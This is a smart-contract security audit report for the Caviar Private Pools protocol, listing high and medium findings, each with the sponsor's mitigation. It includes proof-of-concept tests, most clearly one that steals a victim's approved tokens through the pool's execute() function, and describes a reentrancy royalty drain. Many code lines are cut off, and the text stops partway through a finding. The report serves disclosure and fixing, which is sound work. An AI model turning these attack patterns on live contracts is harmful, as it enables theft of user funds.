Caviar Private Pools
Findings & Analysis Report

2023-05-18

Table of contents

- 4 `Factory.tokenId` does not validate the input `id` parameter. Consider validating that the `id` exist and the respective pool is created by the factory.
- 5 Once initialization is done the `PrivatePool.feeRate` variable can never be changed. Consider adding an `owner` restricted function to update `feeRate` .
- 6 In `buy` and `sell` functions consider validating that the `length` of all input arrays are equal (`tokenIds` & `tokenWeights`).
- 7 Consider adding a check in `PrivatePool.sumWeightsAndValidateProof` function to validate that every element of `tokenWeights` array is greater than or equal to `1e18` .
- 8 In the `PrivatePoolMetadata.tokenURI` function consider using `Strings.toHexString(address(tokenId))` for the `name` field.

- Gas Optimizations

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Caviar Private Pools smart contract system written in Solidity. The audit took place between April 7—April 13 2023.

Following the C4 audit, 3 wardens (rvierdiiev, rbserver, and KrisApostolov) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.

Note: This published report was updated on August 28, 2023 to include the mitigation review results.

Wardens

127 Wardens contributed reports to the Caviar Private Pools:

1. 0x4db5362c
2. 0x4non

3. 0x5rings
4. 0x6980
5. 0xAgro
6. 0xLanterns (kiki_dev and wall604)
7. 0xNorman
8. 0xRobocop
9. 0xSmartContract
10. 0xTheC0der
11. 0xWeiss
12. 0xbepresent
13. ABA
14. AkshaySrivastav
15. Aymen0909
16. Bason
17. Bauchibred
18. Bauer
19. BenRai
20. BradMoon
21. Brenzee
22. ChrisTina
23. CodingNameKiki
24. Cryptor
25. DadeKuma
26. DishWasher
27. Dug
28. ElKu
29. Emmanuel
30. Evo
31. GT_Blockchain (0xTraub, 0xTinder, 0x6020c0, zion, and xkycc)

32. Haipls
33. J4de
34. JCN
35. JGcarv
36. Josiah
37. Kaysoft
38. Kek
39. Kenshin
40. Koolex
41. KrisApostolov
42. Madalad
43. MiloTruck
44. Naubit
45. Norah
46. Noro
47. Nyx
48. Rappie
49. RaymondFam
50. ReyAdmirado
51. Rolezn
52. Ruhum
53. SaeedAlipoor01988
54. Sathish9098
55. SovaSlava
56. SpicyMeatball
57. T1MOH
58. ToonVH
59. Voyvoda (gogo, deadrxsezzz, and alexxander)
60. W0RR1O

61. abiih
62. adriro
63. anodaram
64. aviggiano
65. ayden
66. bin2chen
67. bshramin
68. btk
69. carlitox477
70. catellatech
71. chaduke
72. ck
73. climber2002
74. codeslide
75. cryptonue
76. decade
77. devscrooge
78. dingo2077
79. fs0c
80. georgits
81. giovannidisiena
82. hasmama
83. hihen
84. holyhansss_kr
85. hunter_w3b
86. indijanc
87. joestakey
88. jpserrat
89. juancito

90. ladboy233
91. lukris02
92. matrix_0wl
93. minhtrng
94. nemveer
95. neumo
96. nobody2018
97. oxen
98. p0wd3r
99. peanuts
100. philogy
101. rbserver
102. rvierdiiev
103. saian
104. said
105. sashik_eth
106. savi0ur
107. sayan
108. sces60107
109. shaka
110. tallo
111. tanh
112. teawaterwire
113. teddav
114. tnevler
115. tsvetanovv
116. ulqiorra
117. wintermute
118. ych18

119. yixxas
120. zion

This audit was judged by Alex the Entreprenerd.

Final report assembled by itsmetechjay and liveactionllama.

Summary

The C4 analysis yielded an aggregated total of 20 unique vulnerabilities. Of these vulnerabilities, 3 received a risk rating in the category of HIGH severity and 17 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 25 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 6 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Caviar Private Pools repository, and is composed of 4 smart contracts and 1 interface written in the Solidity programming language and includes 741 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (3)

[H-01] Royalty receiver can drain a private pool

Submitted by Voyvoda, *also found by* AkshaySrivastav, teddav, aviggiano, *and* Haipls

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L237-L252

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L267-L268

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L274

Impact

Royalty fee calculation has a serious flaw in `buy(...)`. Caviar's private pools could be completely drained.

In the Caviar private pool, NFT royalties are being paid from the `msg.sender` to the NFT royalty receiver of each token in PrivatePool.buy and PrivatePool.sell:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L271-L285

```
        #buy(uint256[],uint256[],MerkleMultiProof)

271:    if (payRoyalties) {
            ...
274:        (uint256 royaltyFee, address recipient) = _getRoyalt
            ...
278:        if (baseToken != address(0)) {
279:            ERC20(baseToken).safeTransfer(recipient, royalty
```

```
280:         } else {
281:             recipient.safeTransferETH(royaltyFee);
282:         }
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L328-L352

```
        #sell(uint256[],uint256[],MerkleMultiProof,IStolenNftOra

329:     for (uint256 i = 0; i < tokenIds.length; i++) {
             ...
333:         if (payRoyalties) {
                 ...
338:             (uint256 royaltyFee, address recipient) = _getRo
                 ...
345:             if (baseToken != address(0)) {
346:                 ERC20(baseToken).safeTransfer(recipient, roy
347:             } else {
348:                 recipient.safeTransferETH(royaltyFee);
349:             }
```

In both functions, the amount needed to pay all royalties is taken from the `msg.sender` who is either the buyer or the seller depending on the context. In PrivatePool.sell, this amount is first paid by the pool and then taken from the `msg.sender` by simply reducing what they receive in return for the NFTs they are selling. A similar thing is done in PrivatePool.buy, but instead of reducing the output amount, the input amount of base tokens that the `msg.sender` (buyer) should pay to the pool is increased:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L251-L252

```
        #buy(uint256[],uint256[],MerkleMultiProof)

251:     // add the royalty fee amount to the net input aount
252:     netInputAmount += royaltyFeeAmount;
```

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L354-L355

```
        #sell(uint256[],uint256[],MerkleMultiProof,IStolenNftOra

354:    // subtract the royalty fee amount from the net output a
355:    netOutputAmount -= royaltyFeeAmount;
```

The difference between these two functions (that lies at the core of the problem) is that in PrivatePool.buy, the `_getRoyalty` function is called twice. The first time is to calculate the total amount of royalties to be paid, and the second time is to actually send each royalty fee to each recipient:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L242-L248

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L273-L274

```
        #buy(uint256[],uint256[],MerkleMultiProof)

242:    if (payRoyalties) {
243:        // get the royalty fee for the NFT
244:        (uint256 royaltyFee,) = _getRoyalty(tokenIds[i], sal
245:
246:        // add the royalty fee to the total royalty fee amou
247:        royaltyFeeAmount += royaltyFee;
248:    }

        ...

273:    // get the royalty fee for the NFT
274:    (uint256 royaltyFee, address recipient) = _getRoyalty(to
```

This is problematic because an attacker could potentially change the royalty fee between the two calls, due to the following untrusted external call:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L267-L268

```
        #buy(uint256[],uint256[],MerkleMultiProof)

267:    // refund any excess ETH to the caller
268:    if (msg.value > netInputAmount) msg.sender.safeTransferE
```

If the `msg.sender` is a malicious contract that has control over the `royaltyFee` for the NFTs that are being bought, they can change it, for example, from 0 basis points (0%) to 10000 basis points (100%) in their `receive()` function.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol#L94-L99

```
        // @audit An attacker can call this setter function betv
94:     function _setTokenRoyalty(uint256 tokenId, address recei
95:         require(feeNumerator <= _feeDenominator(), "ERC2981:
96:         require(receiver != address(0), "ERC2981: Invalid pa
97:
98:         _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, f
99:     }
```

That way, the amount transferred by the `msg.sender` for royalties will be 0 because the total `royaltyFeeAmount` is calculated based on the first value (0%) but the actual sent amount to the receiver is determined by the second value (100%). This will result in the whole price paid for the NFT being returned to the royalty receiver, but being paid by the Pool instead of the `msg.sender`.

The `msg.sender` has therefore received the NFT but paid the whole price for it to the royalty receiver and 0 to the Pool. If the `msg.sender` is the royalty receiver, they will basically have spent 0 base tokens (not counting gas expenses) but received the NFT in their account. They can then sell it to the same private pool to exchange it for base tokens.

This is an extreme scenario, however, the developers have acknowledged ERC-2981 and that `royaltyInfo(...)` returns an arbitrary address. In the future we could see projects that have royalty payments that fluctuate such as increasing/decaying royalties over time article on eip 2981 or projects that delegate the creation of nfts to the users such as 1024pixels polygon, git repo and royalties are paid to each user

rather to a single creator. In such cases invocation of `_getRoyalty(...)` twice with external calls that transfer assets in-between is a vulnerable pattern that is sure to introduce asset risks and calculation inaccuracies both for the users and protocol itself. Immediate remedy would be to simplify `buy(...)` in `PrivatePool.sol` to use only one `for loop` and call `_getRoyalty(...)` once.

PoC shows how the entire Pool's base tokens can be drained by a single royalty receiver using a single NFT assuming that the royalty receiver has control over the royaltyFee.

Proof of Concept

See warden's original submission for full Proof of Concept.

Tools Used

Foundry

Recommended Mitigation Steps

Ensure that the amount sent to the NFT royalty receivers in the second `for` loop in `buy()` is the same as the amount calculated in the first `for` loop.

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, because of reEntrancy and due to the same call being performed for royalties, a malicious royalty recipient can drain the pool of all funds.
>
> I have considered downgrading the finding because of the conditionality of the royalty recipient being malicious, however, I don't believe this can be considered an external condition, as any account able to change the royalty setting could willingly or unwillingly enable the attack.
>
> For this reason I believe that the finding is of High Severity.

outdoteth (Caviar) confirmed via duplicate issue `#593` and mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/12.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[H-02] PrivatePool owner can steal all ERC20 and NFT from user via arbitrary execution

Submitted by ladboy233*, also found by* ElKu, ulqiorra, decade, minhtrng, Koolex, nemveer, said, Norah, giovannidisiena, oxen, JGcarv, JGcarv, Noro, sces60107, Voyvoda, teddav, chaduke, nobody2018, 0x4non, sashik_eth, Emmanuel, 0xTheC0der*, and* Ruhum

In the current implementation of the PrivatePool.sol, the function execute is meant to claim airdrop, however, we cannot assume the owner is trusted because anyone can permissionlessly create private pool.

```
/// @notice Executes a transaction from the pool account to a ta
/// pool. This allows for use cases such as claiming airdrops.
/// @param target The address of the target contract.
/// @param data The data to send to the target contract.
/// @return returnData The return data of the transaction.
function execute(address target, bytes memory data) public payab
        // call the target with the value and data
        (bool success, bytes memory returnData) = target.call{va

        // if the call succeeded return the return data
        if (success) return returnData;

        // if we got an error bubble up the error message
        if (returnData.length > 0) {
                // solhint-disable-next-line no-inline-assembly
                assembly {
                        let returnData_size := mload(returnData)
                        revert(add(32, returnData), returnData_s
                }
        } else {
                revert();
        }
}
```

The owner of private pool can easily steal all ERC20 token and NFT from the user's wallet after the user gives approval to the PrivatePool contract and the user has to give the approval to the pool to let the PrivatePool pull ERC20 token and NFT from the user when user buy or sell or change from EthRouter or directly calling PrivatePool.

The POC below shows, the owner of the PrivatePool can carefully craft payload to steal funds via arbitrary execution.

After user's apporval, the target can be an ERC20 token address or a NFT address, the call data can be the payload of transferFrom or function.

Please add the code to Execute.t.sol so we can create a mock token:

```
contract MyToken is ERC20 {
    constructor() ERC20("MyToken", "MTK", 18) {}

    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}
```

Please add the POC below to Execute.t.sol:

```
  function testStealFundArbitrary_POC() public {
        MyToken token = new MyToken();

        address victim = vm.addr(1040341830);
        address hacker = vm.addr(14141231201);

        token.mint(victim, 100000 ether);

        vm.prank(victim);
        token.approve(address(privatePool), type(uint256).max);

        console.log(
            "token balance of victim before hack",
            token.balanceOf(victim)
        );
```

```
        address target = address(token);
        bytes memory data = abi.encodeWithSelector(
            ERC20.transferFrom.selector,
            victim,
            hacker,
            token.balanceOf(victim)
        );

        privatePool.execute(target, data);

        console.log(
            "token balance of victim  after hack",
            token.balanceOf(victim)
        );
    }
```

We run the POC, the output is:

```
PS D:\2023Security\2023-04-caviar> forge test -vv --match "testS
[⠒] Compiling...
[⠢] Compiling 1 files with 0.8.19
[⠃] Solc 0.8.19 finished in 8.09s
Compiler run successful

Running 1 test for test/PrivatePool/Execute.t.sol:ExecuteTest
[PASS] testStealFundArbitrary_POC() (gas: 753699)
Logs:
  token balance of victim before hack 100000000000000000000000
  token balance of victim  after hack 0
```

As we can see, the victim's ERC20 token are stolen.

Recommended Mitigation Steps

We recommend the protocol not let the private pool owner perform arbtirary execution. The private pool can use the flashloan to claim the airdrop himself.

outdoteth (Caviar) confirmed and mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/2

> The proposed fix is to revert if execute tries to call the `baseToken` or `nft` contract. It's very unlikely a user will approve any other token than these to the pool so this serves as a sufficient check to prevent the stealing outlined in the exploit.

```
if (target == address(baseToken) || target == address(nft)) reve
```

Alex the Entreprenerd (judge) commented:

> @outdoteth - Wouldn't the owner be the one owning all of the deposited assets anyway?

outdoteth (Caviar) commented:

> @GalloDaSballo - The exploit is not about the owner having ownership over owned deposits but rather about stealing non-deposited user funds.

> For example,

- Alice wants to sell her Milady 123. She also holds Milady 555 and 111.
- She approves the PrivatePool to spend all of her Miladies so that she can subsequently call "sell()"
- The malicious owner of the pool then calls "execute()" multiple times with a payload that calls the Milady contract and `transferFrom` to transfer all of her Miladies (123, 555, 111) from her wallet

> Alice has now lost all of her Miladies. The same also applies to baseToken approvals when Alice wants to buy some NFTs.

> The proposed fix is to prevent `execute()` from being able to call the `baseToken` or `nft` contracts so that the above example can never occur.

Alex the Entreprenerd (judge) commented:

> Thank you @outdoteth for clarifying.

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, because of the `setApprovalForAll` pattern, mixed with the `execute` function, a `PrivatePool` may be used to harvest approvals from users, causing them to lose all tokens.

> I have considered downgrading the finding because of the Router technically providing a safety check against the pool.

> However, I believe that the risky pattern of direct approvals to the pool is demonstrated by the pull transfer performed by the FlashLoan function: https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L648-L649

```
ERC721(token).safeTransferFrom(address(receiver), addres
```

> For that call to work, the user / user-contract will have to have approved the pool directly.

> For this reason I agree with High Severity.

Status: Mitigation confirmed with comments. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[H-03] Risk of silent overflow in reserves update

Submitted by sashik_eth, *also found by* codeslide, Kaysoft, W0RR1O, georgits, btk, lukris02, 0x6980, tnevler, 0xAgro, matrix_0wl, catellatech, Sathish9098, ayden, 0x4non, adriro, Madalad, Kenshin, giovannidisiena, devscrooge, sayan, SaeedAlipoor01988, tsvetanovv, Cryptor, *and* matrix_0wl

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L230-L231

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L323-L324

Vulnerability details

The `buy()` and `sell()` functions update the `virtualBaseTokenReserves` and `virtualNftReserves` variables during each trade. However, these two variables are of type `uint128`, while the values that update them are of type `uint256`. This means that casting to a lower type is necessary, but this casting is performed without first checking that the values being cast can fit into the lower type. As a result, there is a risk of a silent overflow occurring during the casting process.

```
function buy(uint256[] calldata tokenIds, uint256[] calldata
    public
    payable
    returns (uint256 netInputAmount, uint256 feeAmount, uint
{
    // ~~~ Checks ~~~ //

    // calculate the sum of weights of the NFTs to buy
    uint256 weightSum = sumWeightsAndValidateProof(tokenIds,

    // calculate the required net input amount and fee amour
    (netInputAmount, feeAmount, protocolFeeAmount) = buyQuot
    ...
    // update the virtual reserves
    virtualBaseTokenReserves += uint128(netInputAmount - fee
    virtualNftReserves -= uint128(weightSum);
    ...
```

Impact

If the reserves variables are updated with a silent overflow, it can lead to a breakdown of the xy=k equation. This, in turn, would result in a totally incorrect price calculation, causing potential financial losses for users or pool owners.

Proof of Concept

Consider the scenario with a base token that has high decimals number described in the next test (add it to the `test/PrivatePool/Buy.t.sol`):

```
function test_Overflow() public {
    // Setting up pool and base token HDT with high decimals
    // Initial balance of pool - 10 NFT and 100_000_000 HDT
```

```
        HighDecimalsToken baseToken = new HighDecimalsToken();
        privatePool = new PrivatePool(address(factory), address(
        privatePool.initialize(
            address(baseToken),
            nft,
            100_000_000 * 1e30,
            10 * 1e18,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false
        );

        // Minting NFT on pool address
        for (uint256 i = 100; i < 110; i++) {
            milady.mint(address(privatePool), i);
        }
        // Adding 8 NFT ids into the buying array
        for (uint256 i = 100; i < 108; i++) {
            tokenIds.push(i);
        }
        // Saving K constant (xy) value before the trade
        uint256 kBefore = uint256(privatePool.virtualBaseTokenRe

        // Minting enough HDT tokens and approving them for pool
        (uint256 netInputAmount,, uint256 protocolFeeAmount) = p
        deal(address(baseToken), address(this), netInputAmount);
        baseToken.approve(address(privatePool), netInputAmount);

        privatePool.buy(tokenIds, tokenWeights, proofs);

        // Saving K constant (xy) value after the trade
        uint256 kAfter = uint256(privatePool.virtualBaseTokenRes

        // Checking that K constant succesfully was changed due
        assertEq(kBefore, kAfter, "K constant was changed");
    }
```

Also add this contract into the end of `Buy.t.sol` file for proper test work:

```
contract HighDecimalsToken is ERC20 {
    constructor() ERC20("High Decimals Token", "HDT", 30) {}
```

```
        }
```

Recommended Mitigation Steps

Add checks that the casting value is not greater than the `uint128` type max value:

```
File: PrivatePool.sol
229:          // update the virtual reserves
+             if (netInputAmount - feeAmount - protocolFeeAmount
230:          virtualBaseTokenReserves += uint128(netInputAmount
+             if (weightSum > type(uint128).max) revert Overflow(
231:          virtualNftReserves -= uint128(weightSum);

File: PrivatePool.sol
322:          // update the virtual reserves
+             if (netOutputAmount + protocolFeeAmount + feeAmount
323:          virtualBaseTokenReserves -= uint128(netOutputAmount
+             if (weightSum > type(uint128).max) revert Overflow(
324:          virtualNftReserves += uint128(weightSum);
```

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

> The Warden has identified a risky underflow due to unsafe casting, the underflow would cause the invariants of the protocol to be broken, causing it to behave in undefined ways, most likely allowing to discount tokens (principal)

> I have considered downgrading to Medium Severity

> However, I believe that in multiple cases the subtractions `netInputAmount - feeAmount - protocolFeeAmount` which could start with `netInputAmount > type(uint128).max` would not necessarily fall within a `uint128`

> For this reason, I believe the finding to be of High Severity.

outdoteth (Caviar) mitigated:

> Fixed in https://github.com/outdoteth/caviar-private-pools/pull/10.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

Medium Risk Findings (17)

[M-01] The buy function's mechanism enables users to acquire flash loans at a cheaper fee rate.

Submitted by KrisApostolov

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L211-L289

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L240

Impact

The buy function's mechanism allows users to access flash loans at a lower fee cost, which could affect the pool owner's yield if users opt for it instead of flash loans.

Proof of Concept

The buy function initially transfers the NFTs to the buyer before verifying and receiving payment. This mechanism creates an opportunity for users to access flash loans that are akin to flash swaps in Uniswap.

It is worth noting that this scenario is only viable in pools with ERC20 tokens since they do not necessitate upfront payment, unlike payable functions. Additionally, it requires the flash loan fee to be greater than the combined buy and sell fees for the NFTs.

A proof-of-concept (PoC) demonstrating this scenario is provided below:

```
    // @audit-info These are the default circumstances used by most

    PrivatePool public privatePool;
```

```
address baseToken = address(shibaInu);
address nft = address(milady);
uint128 virtualBaseTokenReserves = 100e6;
uint128 virtualNftReserves = 10e18;
uint16 feeRate = 1e2;
uint56 changeFee = 3e6;
bytes32 merkleRoot = bytes32(0);
address owner = address(this);

uint256[] tokenIds;
uint256[] tokenWeights;
PrivatePool.MerkleMultiProof proofs;
IStolenNftOracle.Message[] stolenNftProofs;

function setUp() public {
    privatePool = new PrivatePool(address(factory), address(roya
    privatePool.initialize(
            baseToken, nft, virtualBaseTokenReserves, virtualNft
    );
    deal(address(shibaInu), address(this), 2e6);

    // @audit-info Giving the pool 60 tokens to trade with
    deal(address(shibaInu), address(privatePool), 100e6);

    for (uint256 i = 0; i < 5; i++) {
        milady.mint(address(privatePool), i + 1);
    }
    assertEq(milady.balanceOf(address(privatePool)), 5, "Didn't
}

function test_failBecauseOfDivisionBy0() public {

    for (uint256 i = 0; i < 5; i++) {
        tokenIds.push(i + 1);
    }

    (uint netInputAmount, uint feeAmount, uint protocolFeeAmount

    shibaInu.approve(address(privatePool), netInputAmount);
    // @audit-info Trying to buy the 5 tokens present in the poo
    privatePool.buy(tokenIds, tokenWeights, proofs);
}

function onERC721Received(
    address operator,
    address from,
```

```
        uint256 tokenId,
        bytes calldata data
    ) external override returns (bytes4) {
        // @audit-info Claim airdrop for the specific NFT here
        airdrop.claim(tokenId);

        // @audit-info Selling the NFT here
        uint[] memory _tokenIds = new uint[](1);
        _tokenIds[0] = tokenId;

        milady.approve(address(privatePool), tokenId);
        (uint netInputAmount, uint feeAmount, uint protocolFeeAmount

        privatePool.sell(_tokenIds, tokenWeights, proofs, stolenNftI
        return bytes4(keccak256("onERC721Received(address,address,ui
    }
```

Tools Used

Foundry

Recommended Mitigation Steps

Consider sending the NFTs after the funds have been received by the contract.

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, due to the handling of callbacks, a `buy` can be viewed as a flash-swap which allows the payer to pay after using the token, effectively allowing for a cheaper flashloan if fees are set in a certain way.

> Because the finding shows a way to possibly side-step fees, while maintaining the same functionality, I believe the most appropriate severity to be Medium.

[M-02] EthRouter can't perform multiple changes

Submitted by minhtrng, *also found by* adriro, Voyvoda, ych18, 0xRobocop, bin2chen, chaduke, Ruhum, ladboy233, 0x4db5362c, Kek, BradMoon, ChrisTina,

and Rappie

EthRouter is meant to support multiple changes in one tx, but that would fail.

Proof of Concept

The function `EthRouter.change` sends `msg.value` to pool in a for loop:

```
    for (uint256 i = 0; i < changes.length; i++) {
        Change memory _change = changes[i];

        ...

        // execute change
        PrivatePool(_change.pool).change{value: msg.value}(
            _change.inputTokenIds,
            _change.inputTokenWeights,
            _change.inputProof,
            _change.stolenNftProofs,
            _change.outputTokenIds,
            _change.outputTokenWeights,
            _change.outputProof
        );
```

The pool subtracts the fee, and sends the rest back to the router. After the first iteration the router contains less ETH than `msg.value` and will revert

Add to `Change.t.sol` and run with `forge test --match test_twoChanges -vvvv`

```
        function test_twoChangesOneCall() public {
        uint256[] memory inputTokenIds = new uint256[](1);
        uint256[] memory inputTokenWeights = new uint256[](0);
        uint256[] memory outputTokenIds = new uint256[](1);
        uint256[] memory outputTokenWeights = new uint256[](0);

        uint256[] memory inputTokenIds2 = new uint256[](1);
        uint256[] memory inputTokenWeights2 = new uint256[](0);
        uint256[] memory outputTokenIds2 = new uint256[](1);
        uint256[] memory outputTokenWeights2 = new uint256[](0);
```

```
        inputTokenIds[0] = 5;
        outputTokenIds[0] = 0;

        inputTokenIds2[0] = 6;
        outputTokenIds2[0] = 1;

        EthRouter.Change[] memory changes = new EthRouter.Change[](2
        changes[0] = EthRouter.Change({
            pool: payable(address(privatePool)),
            nft: address(milady),
            inputTokenIds: inputTokenIds,
            inputTokenWeights: inputTokenWeights,
            inputProof: PrivatePool.MerkleMultiProof(new bytes32[](0
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            outputTokenIds: outputTokenIds,
            outputTokenWeights: outputTokenWeights,
            outputProof: PrivatePool.MerkleMultiProof(new bytes32[]
        });

        changes[1] = EthRouter.Change({
            pool: payable(address(privatePool)),
            nft: address(milady),
            inputTokenIds: inputTokenIds2,
            inputTokenWeights: inputTokenWeights2,
            inputProof: PrivatePool.MerkleMultiProof(new bytes32[](0
            stolenNftProofs: new IStolenNftOracle.Message[](0),
            outputTokenIds: outputTokenIds2,
            outputTokenWeights: outputTokenWeights2,
            outputProof: PrivatePool.MerkleMultiProof(new bytes32[]
        });

        (uint256 changeFee,) = privatePool.changeFeeQuote(inputToker

        //WARDEN: multiply with 10 just to make sure there really is
        ethRouter.change{value: changeFee*10}(changes, 0);

    }
```

Output:

```
...
    |   ├─ [0] PrivatePool::change{value: 500000000000000000}(
    |   |   └─ ← "EvmError: OutOfFund"
    |   └─ ← "EvmError: Revert"
```

```
└─ ← "EvmError: Revert"
```

Recommended Mitigation Steps

Only send the required change fee and not `msg.value`.

outdoteth (Caviar) confirmed and mitigated:

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/5

> The proposed fix is to add a `baseTokenAmount` field in the Change struct and to use this field instead of msg.value when making the change operation.

```
PrivatePool(_change.pool).change{value: _change.baseTokenAmount}
  // -- snip --
);
```

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, because `msg.value` is passed in a loop, to functions that could reduce `this.balance`, the tx can revert, breaking the functionality for those use cases.

> Because that doesn't cause a loss of principal, but shows a broken functionality for some cases, I agree with Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.

[M-03] Flash loan fee is incorrect in Private Pool contract

Submitted by adriro, *also found by* GT_Blockchain, Josiah, Aymen0909, anodaram, KrisApostolov, minhtrng, rbserver, giovannidisiena, wintermute, jpserrat, 0xRobocop, 0xNorman, aviggiano, shaka, Voyvoda, bin2chen, RaymondFam, ElKu, sashik_eth, ToonVH, SpicyMeatball, *and* climber2002

Private Pools support NFT borrowing using flash loans. Users that decide to use this feature have to pay a flash loan fee to the owner of the pool.

The contract has a `changeFee` variable that is used to configure the fee for changing NFTs, and this variable is also used to determine the fee for flash loans. In the case of a change operation, the value is interpreted as an amount with 4 decimals, and the token is the base token of the pool. This means that, for example, if the base token is ETH, a `changeFee` value of 25 should be interpreted as a fee of 0.0025 ETH for change operation.

However, as we can see in this following snippet, the `flashFee` function just returns the value of `changeFee` without any scaling or modification.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L750-L752

```
750:     function flashFee(address, uint256) public view returns
751:         return changeFee;
752:     }
```

This means that, following the previous example, a `changeFee` value of 25 will result in 0.0025 ETH for change operation, but **just 25 wei for flash loans.**

The **documentation** hints that this value should also be scaled to 4 decimals in the case of the flash loan fee, but in any case this is clearly an incorrect setting of the flash loan fee.

Proof of Concept

In the following test, the pool is configured with a `changeFee` value of 25, and Alice is able to execute a flash loan by just paying 25 wei.

Note: the snippet shows only the relevant code for the test. Full test file can be found **here**.

```
function test_PrivatePool_flashLoan_IncorrectFee() public {
    // Setup pool
```

```
        PrivatePool privatePool = new PrivatePool(
            address(factory),
            address(royaltyRegistry),
            address(stolenNftOracle)
        );
        uint56 changeFee = 25;
        privatePool.initialize(
            address(0), // address _baseToken,
            address(milady), // address _nft,
            100e18, // uint128 _virtualBaseTokenReserves,
            10e18, // uint128 _virtualNftReserves,
            changeFee, // uint56 _changeFee,
            0, // uint16 _feeRate,
            bytes32(0), // bytes32 _merkleRoot,
            false, // bool _useStolenNftOracle,
            false // bool _payRoyalties
        );

        uint256 tokenId = 0;
        milady.mint(address(privatePool), tokenId);

        // Alice executes a flash loan
        vm.startPrank(alice);

        FlashLoanBorrower flashLoanBorrower = new FlashLoanBorrower(

        // Alice just sends 25 wei!
        vm.deal(alice, changeFee);
        privatePool.flashLoan{value: changeFee}(flashLoanBorrower, a

        vm.stopPrank();
    }
```

Recommended Mitigation Steps

The `flashFee` function should properly scale the value of the `changeFee` variable, similar to how it is implemented in `changeFeeQuote`.

[outdoteth (Caviar) confirmed and mitigated](#):

> Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/6

> Proposed fix is to exponentiate the changeFee to get the correct flashFee in the same way that changeFee is exponentiated in change().

```
function flashFee(address, uint256) public view returns (uint256
    // multiply the changeFee to get the fee per NFT (4 decimals
    uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(
    uint256 feePerNft = changeFee * 10 ** exponent;
    return feePerNft;
}
```

Alex the Entreprenerd (judge) commented:

> First of all FlashLoan Fees don't have to scale.

> That said, the code and the codebase point to wanting to offer a fee that scales based on the amounts loaned. For this nuanced reason, given that the Sponsor has confirmed and mitigated with a scaling fee, I believe that the most appropriate severity is Medium.

Status: Mitigation confirmed. Full details in reports from **rbserver**, **KrisApostolov**, and **rvierdiiev**.

[M-04] `changeFeeQuote` will fail for low decimal ERC20 tokens

Submitted by **adriro**, *also found by* **ToonVH**, **saian**, **0x5rings**, **joestakey**, **anodaram**, **giovannidisiena**, **chaduke**, **Koolex**, **cryptonue**, **0x5rings**, **aviggiano**, **T1MOH**, **shaka**, **0xLanterns**, **ayden**, **ElKu**, **0xbepresent**, **0x4non**, **Brenzee**, **ck**, **0xWeiss**, **indijanc**, **Naubit**, **yixxas**, *and* **Kek**

Private pools have a "change" fee setting that is used to charge fees when a change is executed in the pool (user swaps tokens for some tokens in the pool). This setting is controlled by the `changeFee` variable, which is intended to be defined using 4 decimals of precision:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L87-L88

```
87:     /// @notice The change/flash fee to 4 decimals of precis
88:     uint56 public changeFee;
```

As the comment says, in the case of ETH a value of 25 should represent 0.0025 ETH. In the case of an ERC20 this should be scaled accordingly based on the number of decimals of the token. The implementation is defined in the `changeFeeQuote` function.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L731-L738

```
731:     function changeFeeQuote(uint256 inputAmount) public vie
732:         // multiply the changeFee to get the fee per NFT (4
